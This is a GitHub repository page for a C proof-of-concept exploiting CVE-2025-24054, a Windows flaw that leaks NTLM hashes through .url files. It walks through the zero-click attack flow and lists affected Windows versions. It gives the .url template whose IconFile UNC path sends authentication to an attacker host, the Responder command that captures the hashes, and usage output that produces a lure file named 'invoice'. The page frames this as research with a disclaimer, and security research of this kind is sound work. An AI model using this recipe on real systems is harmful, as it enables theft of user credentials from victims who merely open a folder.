aaron-kidwell/CVE-POCs
GitHub: aaron-kidwell/CVE-POCs
使用 C 语言编写的 Windows CVE 漏洞概念验证工具集,当前实现了通过 .url 文件触发 NTLM 哈希泄露的 CVE-2025-24054 PoC。
Stars: 0 | Forks: 0
# CVE-POCs
Windows CVE 的概念验证实现,使用 C 语言编写。
## CVE-2025-24054 通过 .url 文件泄露 Windows NTLM 哈希
### 概述
你其实只需打开记事本添加四行代码即可实现,但我重新编写这个 PoC 主要是为了练习我的 C 语言。
CVE-2025-24054 是一个由文件名或路径的外部控制引发的 Windows NTLM 哈希泄露欺骗漏洞 (CWE-73)。无需用户执行操作,Windows 资源管理器就会自动解析由 shell 处理的文件格式中嵌入的 UNC 路径,从而将 NTLMv2 凭据传输到攻击者控制的服务器。
此 PoC 实现了 `.url` 文件触发变体(绕过 CVE-2025-50154),在已缓解 `.library-ms` 和 `.lnk` 攻击向量的系统版本上依然有效。
### 受影响版本
| 操作系统 | 版本 |
|---|---|
| Windows 10 | 1507, 1607, 1809, 21H2, 22H2 |
| Windows 11 | 22H2, 23H2, 24H2 |
| Windows Server | 2008 R2 SP1 至 Server 2025 |
**已在实验室环境中确认可复现:**
- Windows 10 22H2 (Build 19045.2965)
- Windows 11 23H2 (Build 22631.3593)
**已修复:** 2025 年 3 月累积更新(KB5053606 及后续版本)
### 工作原理
当用户浏览到包含 `.url` 文件的文件夹时,Windows 资源管理器会自动解析该文件内嵌的 UNC 路径。无需任何点击操作。操作系统会向攻击者控制的主机发起 SMB 身份验证请求,在此过程中泄露用户的 NTLMv2-SSP 哈希。
```
Attacker drops malicious .url file in accessible location
↓
Victim browses to folder in Windows Explorer
↓
Explorer parses .url file and resolves IconFile UNC path
↓
Windows initiates SMB connection to attacker host
↓
NTLMv2 hash transmitted and captured by Responder
```
`.url` 文件格式如下:
```
[InternetShortcut]
URL=file:///share/file
IconFile=\\\share\file.ico
IconIndex=1
```
### 使用说明
#### 前置条件
- 攻击者机器上运行 Responder:`sudo responder -I eth0 -wv`
- 目标机器能够通过 TCP/445 端口访问攻击者机器
#### 编译
```
Visual Studio 2022, MSVC, x64
No external dependencies
```
#### 运行
```
CVE-2025-24054.exe
enter attacker ip: 192.168.1.100
enter url file name: invoice
Written to: C:\path\to\invoice.url
```
将 `invoice.url` 放置在目标用户会浏览到的路径下。当他们导航至该文件夹时,Responder 就会捕获到哈希:
```
## 免责声明
This code is provided for educational and authorized security research purposes only. Use against systems without explicit written permission from the system owner is illegal and prohibited. All testing was performed in isolated lab environments on systems owned by the author. The author assumes no liability for misuse.
```
标签:PoC, 安全意识培训, 客户端加密, 暴力破解, 端点可见性, 网络安全, 隐私保护